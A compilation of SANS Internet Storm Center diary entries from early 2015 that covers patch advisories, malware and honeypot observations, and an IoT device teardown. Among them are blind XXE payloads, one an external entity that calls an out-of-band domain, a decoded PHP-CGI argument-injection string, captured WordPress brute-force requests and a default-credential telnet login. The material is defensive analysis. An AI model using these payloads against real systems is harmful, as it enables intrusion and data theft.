Beware of Super Bowl spam that may come to your email inbox this weekend. The big game is Sunday and the spam and phishing emails are pouring in complete with helpful links - back-ended by malware and/or credential harvesting of course.

It's worth a reminder friends and family if they see any emails about the Super Bowl that appears to be too good to be true to simply delete it. Be safe!

[1] http://www.google.com/safebrowsing/diagnostic?site=http://www.yoursuperbowlspace.com/torn/pigmentations/containments/papal/seen/bons.htm

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it at https://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications.

Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files.

In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not.

So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option.

Almost like blind SQL injection

This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally:

<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>Test</DocumentPointer>
</Document>
</DocumentLayer>

Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed:

<!DOCTYPE DocumentLayer [
<!ELEMENT DocumentLayer ANY>
<!ENTITY xxe "Test"> ]>
<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>&xxe;</DocumentPointer>
</Document>
</DocumentLayer>

Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool.
The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied.

So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server:

<!DOCTYPE DocumentLayer [
<!ELEMENT DocumentLayer ANY>
<!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]>
<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>&xxe;</DocumentPointer>
</Document>
</DocumentLayer>

While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application.

So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched.

--
Bojan
@bojanz
​INFIGO IS

Adobe has released an update to the Flash vulnerability CVE-2015-0311 discussed earlier this week here on the ISC.  The update released from Adobe addresses Flash vulnerabilities documented in CVE-2015-0311 & CVE-2015-0312, which now has exploits being seen in the wild.  Given that we are seeing exploits in the wild, the criticality of this exploit should be re-evaluated for prioritization and implementation.  Adobe has some useful guidance on the Flash versions required for the various OS and browsers which are impacted by this update at the bottom of their page, linked above.

tony d0t carothers --gmail

VMware has released an new and updated security advisory today.  The two security advisories, listed below, address numerous vulnerabilities in the VMware platform.  For information regarding the impacted versions, affected components, and related CVE’s, see the links below.

New Advisory: VMSA-2015-0001

Updated Advisory:  VMSA-2014-0012

​

​tony d0t carothers --gmail

Qualys discovered a critical buffer overflow in the gethostbyname() and gethostbyname2() functions in glibc. According to the announcement by Qualys, they were able to create an in-house exploit that will execute arbitrary code via the Exim mail server. [1]

glibc before version 2.18 (released August ) is vulnerable. You can quickly check your glibc version by using "ldd --version" (but not all Unix systems that use glibc have ldd installed, and some software is statically compiled with glibc)

These glibc functions are used on most (all?) Unix systems to resolve hostnames . Any software that at some point resolved host names is potentially vulnerable, which includes pretty much all software that uses the network in some from (clients and servers). The problem has been fixed in some versions of glibc, but it was originally not recognized as a security vulnerability, and as a result not backported in older, still widely used and supported versions of glibc.

What should you do: Apply this update as soon as you see patched offered by your Linux/Unix distribution. Some Windows software (and of course OS X) uses glibc as well and may be vulnerable. Use the getaddrinfo() function, not gethostbyname()

[1] http://openwall.com/lists/oss-security/2015/01/27/9

Additional resources:

You shouldn't be using gethostbyname() anyway - Robert Graham, Errata Security

Highly critical “Ghost” allowing code execution affects most Linux systems - Dan Goodin, Ars Technica

GHOST glibc Remote Code Execution Vulnerability Affects All Linux Systems - Michael Mimoso, Threatpost

​Linux Ghost Remote Code Execution Vulnerability - US-CERT

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

On Saturday, 24 JAN 2015, Adobe updated their Security Advisory for Adobe Flash Player specific to CVE-2015-0311. From the update: 

"Users who have enabled auto-update for the Flash Player desktop runtime will be receiving version 16.0.0.296 beginning on January 24. This version includes a fix for CVE-2015-0311. Adobe expects to have an update available for manual download during the week of January 26, and we are working with our distribution partners to make the update available in Google Chrome and Internet Explorer 10 and 11. For more information on updating Flash Player please refer to this post."

To that end we've reduced the SANS Internet Storm Center Infocon Threat Level back to GREEN. Please ensure you apply updates as soon as possible and stay tuned here as additional related information becomes available.

Russ McRee | @holisticinfosec

[Update] Adobe now updated it's advisory and confirmed that version 16.0.0.296 fixes the o-day vulnerability (CVE-2015-0311). [2][3]

Adobe apparently just released Flash version 16.0.0.296. There is nothing on Adobe's website if this is a patch. As a matter of fact, Adobe still lists 16.0.0.287 as the most recent version [1]. You can download 16.0.0.296 if you manually check for updates using Flash.

This article will be updates as we learn more. I have NO IDEA if this new version fixes the current vulnerability, but given that this is a surprise weekend release, chances are that it was released in response to the vulnerability. Apply this update at your own risk.

Thanks to Christopher for noticing!

[1] http://www.adobe.com/software/flash/about/

[2] http://helpx.adobe.com/security/products/flash-player/apsa15-01.html

[3] http://blogs.adobe.com/psirt/?p=1160

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

We have decided to change the Infocon ¹ to yellow in order to bring attention to the multiple recent Adobe Flash Player vulnerabilities ² that are being actively exploited. There have been 3 patched vulnerabilities that have an update and applying them is highly recommended. 1 of the vulnerabilities has not yet been patched, and is expected to be released as an OOB (Out of Band) next week by Adobe ³. 

Our reasoning is that the Adobe Flash Player is very widely installed, the vulnerability affects multiple platforms, remote code execution gives the attacker complete control of the system, the patch is not yet available, it affects both organizational IT systems as well as home or soho users, a crimeware kit is actively exploiting the vulnerabilities, people might mistakenly believe that the patch from yesterday fixes all of the issues, and last but not least mitigation through the use of EMET or other tools/means is not normally feasible for home users or quick deployment in enterprise environments without testing. In short, the high impact of these vulnerabilities being exploited warrants raising the Infocon from now until Monday. 

1- https://isc.sans.edu/infocon.html

2- https://isc.sans.edu/forums/diary/Flash+0Day+Deciphering+CVEs+and+Understanding+Patches/19223/

3- http://helpx.adobe.com/security/products/flash-player/apsa15-01.html

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS teaching schedule

(updated with Jan 24th update)

The last two weeks, we so far had two different Adobe advisories (one regularly scheduled, and one "out of band"), and three new vulnerabilities. I would like to help our readers deciphering some of the CVEs and patches that you may have seen.

So in short: There is still one unpatched Flash vulnerability. System running Windows 8 or below with Firefox or Internet Explorer are vulnerable. You are not vulnerable if you are running Windows 8.1 and the vulnerability is not exposed via Chrome. EMET appears to help, so may other tools like Malwarebytes Anti-Exploit.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

We would like to thank Richard Ackroyd of RandomStorm for reporting a critical input validation error in our site to us. As we have done before, here is how it happened so hopefully you can learn from it as well.

Lets start with a bit of background. Our site deals a lot with IPv4 addresses. Most of the time, we store IPv4 addresses as a string. I know this isn't the most efficient way, but well, that decision goes back to "the beginning". To make sorting and indexing simpler, we "pad" IPv4 addresses with zeros, and you may have seen this on the site. 192.0.2.1 becomes 192.000.002.001.

Originally, I used a simple trick to validate IP addresses. I just converted the IP address to its long integer format, and then back to a string. This guarantees that you end up with a valid IP address. Later, we started using more of the standard "FILTER" functions in php to make some input validation easier, and modified the IPv4 validation function to use it. At the same time, to make the code a bit simpler,  we also added an "unpad" function to fix up the IP address by removing extra 0s first.

Here is a quick view at the vulnerable code:

if  ( is_ipv4($sIPAddress) {
   ... use $sIPAddress ...
} else {
   ... display error ...
}

function is_ipv4($sValue) {
   $sValue=unpadip($sValue);
   if ( filter_var($sValue,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4) ) {
      return $sValue;
   }
}

function unpadip($sIP) {
    $aIP=explode('.',$sIP);
    if ( sizeof($aIP)<4) return false;
    return sprintf("%d.%d.%d.%d",$aIP[0],$aIP[1],$aIP[2],$aIP[3]);
}

So why is this wrong? The big problem is that I am modifying the value (unpad) before validating it, and then use the unmodified value, not the one I modified. At first, that doesn't look too bad in this case. But turns out that the "unpad" function does more then just remove extra 0s. Any other non-numeric character is removed. E.g. try:

printf("%d","123 this is an exploit");

and you will get "123" back. That is part of the point of %d. The end result was that we validated a value that was cleansed by "unpad", but then used the "dirty" value which still included the exploit code.

Our solution for now is twofold:

- add a bit more input validation to the unpad function, just in case we use it unsafely in other parts of the code
- remove the unpad from the is_ipv4 validation function. 

The ultimate solution would be to change how we store IPv4 addresses and store them as long integer, which is much more efficient, but will take some time as we got a lot of code that needs to read/write from those tables. For IPv6 we use two 64 bit numbers ("BIGINT" in mysql) which works very well as it splits network and interface part.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Adobe has released an advisory regarding an out of band security update for Flash, APSB15-02 ¹. It is a fix for CVE-2015-0310, which is reserved but for which there is little additional information at the NIST or Mitre sites. Most likely this is the previously reported 0day ². There are reports that this vulnerability is actively being exploited, and that it is part of a crimeware kit. This would be a highly recommended patch! If you have the Adobe Flash Player installed apply the update. All versions on all platforms appear to be vulnerable. 

1- http://helpx.adobe.com/security/products/flash-player/apsb15-02.html

2- https://isc.sans.edu/forums/diary/Flash+0Day+Exploit+Used+by+Angler+Exploit+Kit/19213/

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS teaching schedule

The "Angler" exploit kit is a tool frequently used in drive-by download attacks to probe the browser for different vulnerabilities, and then exploit them to install malware. The exploit kit is very flexible and new exploits are added to it constantly.

However, the blog post below shows how this exploit kit is currently using an unpatched Flash 0-day to install malware. Current versions of Windows (e.g. Window 8 + IE 10) appear to be vulnerable. Windows 8.1, or Google Chrome do not appear to be vulnerable.

This is still a developing story, but typically we see these exploits more in targeted attacks, not in widely used exploit kits. This flaw could affect a large number of users very quickly. Please refer to the original blog for details.

[1] http://malware.dontneedcoffee.com/2015/01/unpatched-vulnerability-0day-in-flash.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Oracle released it's critical patch update. This quarter's CPU fixes a total of 169 vulnerabilities across the entire Oracle product portfolio. 

For end users, Java is probably the most important part of this update. This time around, 13 Java vulnerabilities are patched that allow remote code execution. 

None of the vulnerabilities in Oracle, the flagship database product, are remotely exploitable without authentication. But in particular one bug got some press as it exposes a rather simple configuration issues in Oracle's database allowing for privilege escalation within the database. 

Yesterday, we talked about privilege escalation in Linux. But similar problems exist in databases. Your end-user application (often a web application) should only connect back to the database using a user with carefully tailored permissions. However, all users need to have limited access to some system tables, for example to be able to find tables they have access to.

In this case, the table in question is called "DUAL". This table has only one column, and one value: "X". It's main function is to allow for syntactically correct SQL commands if values are selected that do not correspond to a particular table. For example, to write a SQL statement to retrieve the current date, you may write: SELECT sysdate FROM DUAL; "sysdate" isn't an actual column, but by using the DUAL table we can make this look like a normal SQL query.

Given this, the "DUAL" table doesn't really need any indexes. In particular since it only contains one value. Nevertheless, Oracle allows all users to create indexes on this table. For the non-oracle DBA, this may not sound that bad. But Oracle has a neat feature to use user defined functions to create indexes. This can lead to more efficient indexes if specific functions are used to query the table.

An attacker can now define a function that would give the attacker "DBA" privileges, and then ask the database to create an index using this function. By creating the index, the function that grants DBA privileges is executed.

[1] http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

We often tend to ignore privilege escalation flaws. In order to take advantage of these vulnerabilities, an attacker first needs to have access to the system itself. But in particular for systems that many users have access to, it can be difficult to monitor them all for compromised credentials. Systems with web servers often suffer from web application flaws that can be used to execute code as the web server, which then can be used to gain root access via a privilege escalation flaw.

From a defensive point of view, the problem with privilege escalation flaws is that there are so many of them, and they are not limited to "bugs" that can be patched. Frequently configuration mistakes can give rise to privilege escalation flaws. Auditing your system for these problems should be done regularly to avoid privilege escalation flaws.

For example, a user may create a cron job, and then have root execute the cron job, but the file remains writable by the user. Someone gaining access to the system as this user could now easily escalate privileges by modifying the script.

Luckily, there are a number of scripts that make it easier for us to find these problems:

unix-privesc-check: Very comprehensive script that works on many Unix flavors, not just Linux. Read the "ToDo" section at the beginning as it lists other areas that should be checked. The output is send to stdout, and you better pipe it to a file as it is very verbose even in default mode.

http://pentestmonkey.net/tools/audit/unix-privesc-check

LinEnum: A more limited script as far as privilege escaltion goes, but it does summarize other configuration options nicely.

https://github.com/rebootuser/LinEnum

​linuxprivchecker: Similar to LinEnum in that it summarizes system configuration information, not just privilege escalation issues.

http://www.securitysift.com/download/linuxprivchecker.py

And if you prefer to take a more "manual" approach, or if you need to verify some of the results produced by the scripts, check this very nice cheat sheet:

http://www.rebootuser.com/?p=1623

Any tools I missed? Please let me know!

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

This is a guest diary submitted by Brad Duncan.

Various sources have reported version 3 of CryptoWall has appeared [1] [2] [3].  This malware is currently seen from exploit kits and phishing emails.  CryptoWall is one of many ransomware trojans that encrypt the personal files on your computer and demand a bitcoin payment before you can unlock them.

I got a sample on Wednesday, January 14th 2015 while infecting a virtual machine (VM) from a malicious server hosting the Magnitude exploit kit.

If you're registered with Malwr.com, you can get a copy of this CryptoWall 3.0 sample at:

https://malwr.com/analysis/MDA0MjIzOGFiMzVkNGEzZjg3NzdlNDAxMDljMDQyYWQ/

Let's look at the traffic from my infected VM:

In this example, the infected VM checked ip-addr.es to determine its public IP address.  Then the VM communicated with a server at 194.58.109.158 over a non-standard HTTP port.  In this case it was port 2525, but I saw different ports in other hosts I've infected with this sample.

Finally, the user viewed a web page for the decrypt instructions at 5.199.166.220.

When monitoring the infection traffic with Security Onion [5], we see an EmergingThreats alert for CryptoWall check-in [4].

The decryption instructions specify the following bitcoin account for a ransom payment:  1GJRTp9YRKFEvzZCTSaRAzrHskFjEwsZy

Here's what the user would see on their desktop screen:

----------

Brad Duncan is a Security Researcher at Rackspace, and he runs a blog on malware traffic analysis at http://www.malware-traffic-analysis.net

References:

[1] http://malware.dontneedcoffee.com/2015/01/guess-whos-back-again-cryptowall-30.html
[2] http://www.bleepingcomputer.com/forums/t/563169/after-a-brief-hiatus-malware-developers-release-cryptowall-3/
[3] https://forums.malwarebytes.org/index.php?/topic/163485-cryptowall-30/
[4] http://doc.emergingthreats.net/2018452
[5] http://blog.securityonion.net/p/securityonion.html

Over the past few months, I have been observing strange web queries against my honeypot where the pattern is always the same, a combination of two letters but each instance using two different letters. The pattern starts with pair of two letters, then three by dropping the last letter and last ending with the remainder 2 letters. Here are some examples:

/ewew/ewe/ew.php
/fcfc/fcf/fc.php
/bpbp/bpb/bp.php
/wcwc/wcw/wc.php
/ovov/ovo/ov.php

I have also been regularly getting requests for the Linksys CGI script /tmUnblock.cgi  (GET/POST) associated with "TheMoon" Linksys worm [1], Wordpress login /wp-login.php [2], Coldfusion administrator page /CFIDE/administrator as well a multitude of other stuff listed below.

/cgi-bin/test-cgi
/user/soapCaller.bs
/admin.php
/MyAdmin/scripts/setup.php
/phpMyAdmin/scripts/setup.php
/pma/scripts/setup.php
/a2billing/customer/javascript/misc.js

This last example is URL encoded:

/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E

Which equate to: [3]

-d allow_url_include=on %2Dd safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redi%72ect=0 -d cgi.redirect_status_env=0 -n

[1] https://isc.sans.edu/forums/diary/More+Details+About+TheMoon+Linksys+Worm/17669
[2] https://isc.sans.edu/forums/diary/Strange+wordpress+login+patterns/19191/
[3] http://www.asciitohex.com

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

It has been 12 years since the SQL Slammer worm plagued the Interwebs .. come to think of it, that was also in January. But that's not the point :). Today, twelve years later, there are amazingly still infected Slammer drones out there, and if you are running a Honeypot on udp/1434, I promise you won't have to wait all that long until an ancient piece of malware history comes a-knockin'.

Odds are that Shellshock exploits won't have the same stamina, primarily because the Shellshock attack is not self-contained wormy in one packet, but rather usually pushed by previously Shellshocked bots that scan for targets. But it still looks like Shellshock scanning and bot-pushing will now be "background noise" for the foreseeable future, because there is a surprising number of systems out there that remain vulnerable. Systems that our sensors then pick up as being part of a Shellbot army. Investigating one of these bots recently, I discovered that it was a Slackware installation from 2007 and appeared to be a remote weather sensor, complete with webcam that showed the (sadly, very green) ski slope below. I managed to track down the owner, a hotel in Switzerland, who were "unaware" that their weather station "contained a computer". If our DShield logs are any indication, there are A LOT of these devices (and hotels, etc ..) out there.

Here is what you can do to help.  Shellshock bots show up most commonly in web server logs, like for example here:

The address in the red box - 76.12.A.B in this case - is from where you are being scanned. This does not mean that the originator is evil. Most likely, it is just another weather station or deep fryer where the owner is "unaware". So if you contact them, be gentle, and prepared to explain a lot :)

The address in the blue box - 91.142.C.D in this case - is from where the bot code is being pulled. This is most commonly a hacked web server, or a throwaway "free website hosting" account. In this case, you can locate the hoster via "Whois", and make use of their "Abuse" contact address to let them know. If you include a log snippet like shown above, most hosters will respond and take the bot code down.

A third thing that you can do is download the bot code (carefully :) to your machine, by going to http://91.142.C.D/img.txt in this case. I am not a lawyer (so don't take my word for it) but since the activity is clearly malicious, and since your computer was instructed by the scanning bot to download this code, I would say that doing so on your own is okay. The bot code itself is not very interesting, but the ones we've seen so far are usually written in Perl, and contain a hard-coded IP address used for the "Command&Control". Again, you can determine the hoster of that C&C address via Whois, and let them know.

The latter two measures will though leave the original victim infected and vulnerable. So .. if you have the time and patience, and it looks like the scanning host is in a residential or small business address range (think DSL), then it might be worthwhile to try and contact the original victim (76.12.A.B above), and enlighten them about all the unexpected things in life that "contain a computer" these days.

Another word of caution: Obviously, a bot that is scanning you for the presence of Shellshock is most likely vulnerable to Shellshock itself, and missing a plethora of other patches. You might be tempted to "poke back" at the system, and use the Shellshock conduit on your own to determine what is inside. Doing so though is hacking, and illegal. Owners of hacked systems do not appreciate getting hacked once more by "researchers", no matter how allegedly well-intentioned the "researcher" is. For the hotel weather station that I mention above, I used a passive combination of reverse DNS, Google, archive.org, Netcraft and Whois to determine what it was, and whom to contact.

DShield sensors report an uptick of scanning for tcp/6379, currently mostly originating from 61.160.x and 61.240.144.x, which are both CHINANET/UNICOM. tcp/6379 is the default port of the Redis NoSQL database (http://redis.io) and Redis by default accepts connections from "any". This has been known for a while though, and is also quite prominently mentioned in the Redis documentation (http://redis.io/topics/security):

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet

which makes us wonder if the service scanned for in this case is indeed Redis, or something else?  Does anyone have a packet capture of the commands that the scanners try next when they find the port open? If yes, please share via our contact form or the comments below.

Reader Robert came today with a very interesting situation. He noticed odd wordpress login patterns:

T 31.47.254.62:51020 -> X.X.X.X:80 [AP]
POST /wp-login.php HTTP/1.1.
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html).
Host: **redacted**
Accept: */*.
Cookie: wordpress_test_cookie=WP+Cookie+check.
Content-Length: 131.
Content-Type: application/x-www-form-urlencoded.
.
log=admin&pwd=admin%21%21%21&wp-submit=Log+In&redirect_to=http://**redacted**/wp-admin/tes1a0&testcookie=1

----------------------------------

T 62.210.207.146:43322 -> X.X.X.X:80 [AP]
POST /wp-login.php HTTP/1.1.
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html).
Host: **redacted**
Accept: */*.
Cookie: wordpress_test_cookie=WP+Cookie+check.
Content-Length: 113.
Content-Type: application/x-www-form-urlencoded.
.
log=ahenry&pwd=Ahenry%24%24%24&wp-submit=Log+In&redirect_to=http://**redacted**/wp-admin/tes1a0&testcookie=1

----------------------------------

T 109.199.82.5:46902 -> X.X.X.X:80 [AP]
POST /wp-login.php HTTP/1.1.
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html).
Host: **redacted**
Accept: */*.
Cookie: wordpress_test_cookie=WP+Cookie+check.
Content-Length: 110.
Content-Type: application/x-www-form-urlencoded.
.
log=natemc&pwd=Johns666&wp-submit=Log+In&redirect_to=http://**redacted**/wp-admin/tes1a0&testcookie=1

In the sample he sent to us, there are three specific source IP address: 109.199.82.5, 62.210.207.146 and 31.47.254.62. All three IP address have good reputation (checked on TrustedSource, SenderBase and SANS Internet Storm Center). Looks like the client is trying to reach a script called tes1a0 and setting the WordPress test cookie so Wordpress can tell the client is accepting cookies and no error is rised. I checked for the string tes1a0 in the Wordpress 4.1 installation download and it's not part of the code. It's also clear this is a fake google bot. Please check the previous diary by Dr. Johannes Ullrich on how to check when google is not google.

Have you seen this kind of wordpress attempts? If yes, let us know via Contact form. I will update the diary with the information gathered.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Toolswatch published today the best 2014 security tools according to their readers. I like to use From that list I like OWASP ZAP, BeEF, OWASP Xenotix and PeStudio. However, I definitely miss some tools like the one contained in REMnux Distro for malware analysis, DFF and the SANS SIFT 3 distro for forensics, not to mention Wireshark and tcpdump, which I find unique for anomaly detection.

Which security tool is your favorite? Do you agree with the tools listed? Let us know via contact form or comment to this diary.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Adobe released one bulletin today, affecting Flash Player. The update should be applied to Windows, OS X as well as Linux versions of Adobe's Flash player. It is rated with a priority of '1' for most Windows versions of Flash Player.

Adobe Air, as well as browser like Chrome and Internet Explorer are affected as well.

http://helpx.adobe.com/security/products/flash-player/apsb15-01.html

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Overview of the January 2015 Microsoft patches and their status.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Thanks to our reader David for sending us this detect (anonymized):

GET announce?info_hash=....&peer_id=....&ip=....&port=....&uploaded=....&downloaded=....*left=....&numwant=.... HTTP/1.0
Host: a.tracker.thepriatebay.org
User-Agent: Bittorrent
Accept: */*
Connection: closed

David's web server was hit with a sufficient number of requests like the one above to cause a denial of service. The requests originated from thousands of different IP addresses, all appear to be located in China. A quick Google search revealed that he wasn't alone, but other web servers experienced similar attacks.

Given the host header (and David observed various "thepriatebay.org" host names), it looks like some DNS servers responded with David's IP address if queried for "thepiratebay.org". 

I did a quick check of passive DNS systems, and didn't find David's IP. But when I queried Chinese DNS servers for the host name, I recieved numerous answers. Each answer was only repeated a couple times, if at all. It sort of looked like they all returned different IP addresses. US based DNS servers on the other hand usually don't resolve the host name, or respond with 127.0.0.1, a typical blocklisting technique. Only a handful responded with a routable IP address.

Overall, I am not sure what is happening. Looks like a "Chinese firewall" issue to me. But if you have any ideas or packets, please let me know.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

[This is a guest diary submitted by Xavier Mertens]

Our houses and offices are more and more infested by electronic devices embedding a real computer with an operating system and storage. They are connected to network resources for remote management, statistics or data polling. This is called the "Internet of Things" or "IoT". My home network is hardened and any new (unknown) device connected to it receives an IP address from a specific range which has no connectivity with other hosts or the Internet but its packets are logged. The goal is to detect suspicious activity like data leaks or unexpected firmware updates. The last toy I bought yesterday is a Smart Plug from Supra-Electronics. This device allows you to control a power plug via your mobile device and calculate the energy consumption with nice stats. I had a very good opportunity to buy one for a very low price (25€). Let's see what's inside....

The documentation mentions a setup procedure and management via a mobile device (with a free app for IOS or Android) but the first reflex is to scan the box. Interesting, a webserver as well as a telnet server are waiting for packets. Let's try common credentials like admin/admin and...
 

$ telnet 192.168.254.225
Trying 192.168.254.225...
Connected to 192.168.254.225.
Escape character is '^]'.
(none) login: admin
Password:
BusyBox v1.12.1 (2014-07-31 06:32:52 CEST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

 

Immediately after the boot sequence, the device started to try to communicate with remote hosts:


Amongst DNS requests and NTP synchronization, a lot of traffic was generated to different IP addresses over UDP/10001. The same packet being sent to different hosts. The payload was a block of 60 bytes:



I was not able to decode the content of this payload, please comment if you recognize some patterns. The device also performs a regular connectivity check via a single ICMP ECHO packet sent to www.google.com (every 5 mins). This network traffic is generated by the process called RDTServer:
 

# ps
 PID USER       VSZ STAT COMMAND
   1 admin     1400 S    init 
   2 admin        0 SWN  [ksoftirqd/0]
   3 admin        0 SW<  [events/0]
   4 admin        0 SW<  [khelper]
   5 admin        0 SW<  [kthread]
   6 admin        0 SW<  [kblockd/0]
   7 admin        0 SW<  [kswapd0]
   8 admin        0 SW   [pdflush]
   9 admin        0 SW   [pdflush]
  10 admin        0 SW<  [aio/0]
  11 admin        0 SW   [mtdblockd]
  18 admin     1084 S    nvram_daemon 
  19 admin     1612 S    goahead 
  20 admin      872 R    RDTServer 
  24 admin     1400 R    telnetd 
  26 admin      872 S    RDTServer 
  27 admin      872 S    RDTServer 
  33 admin      872 S    RDTServer 
  34 admin      872 S    RDTServer 
  35 admin      872 S    RDTServer 
  36 admin      872 S    RDTServer 
  53 admin     1400 S    /bin/sh 
 238 admin        0 SW   [RtmpCmdQTask]
 239 admin        0 SW   [RtmpWscTask]
 366 admin     1400 S    -sh 
 505 admin     1400 R    ps 
 678 admin     1400 S    udhcpd /etc/udhcpd.conf 
 1116 admin    1396 S    udhcpc -i apcli0 -s /sbin/udhcpc.sh -p /var/run/udhcp
 1192 admin     872 S    RDTServer 
 1207 admin     772 S    ntpclient -s -c 0 -h ntp.belnet.be -i 86400 
#

I grabbed a copy of the RDTServer binary (Mips) and using the "strings" command against the file revealed interesting stuff. The IP addresses used were found in the binary:
 

IP                FQDN                NetName                        Country
50.19.254.134        m1.iotcplatform.com    AMAZON-EC2-8                US
122.248.234.207    m2.iotcplatform.com    AMAZON-EC2-SG                Singapore
46.137.188.54        m3.iotcplatform.com    AMAZON-EU-AWS                Ireland
122.226.84.253                         JINHUA-MEIDIYA-LTD            China
61.188.37.216                             CHINANET-SC                China
220.181.111.147                         CHINANET-IDC-BJ                China
120.24.59.150        m4.iotcplatform.com    ALISOFT                        China
114.215.137.159    m5.iotcplatform.com    ALISOFT                        China
175.41.238.100                         AMAZON-AP-RESOURCES-JP    Japan

Seeing packets sent to China is often suspicious! The domain name iotcplatform.com belongs to ThroughTek, a company specialized in IoT and M2M ("Machine to Machine") connection platforms:

Domain Name: IOTCPLATFORM.COM
Registry Domain ID: 1665166563_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Update Date: 2014-07-09T11:44:15Z
Creation Date: 2011-07-04T08:50:36Z
Registrar Registration Expiration Date: 2016-07-04T08:50:36Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.480-624-2505
Registry Registrant ID: 
Registrant Name: Charles Kao
Registrant Organization: 
Registrant Street: 4F., No.221, Chongyang Rd.,
Registrant City: Taipei
Registrant State/Province: Nangang District
Registrant Postal Code: 11573
Registrant Country: Taiwan
Registrant Phone: +886.886226535111
Registrant Phone Ext:
Registrant Fax: 
Registrant Fax Ext:
Registrant Email: justin_yeh@tutk.com

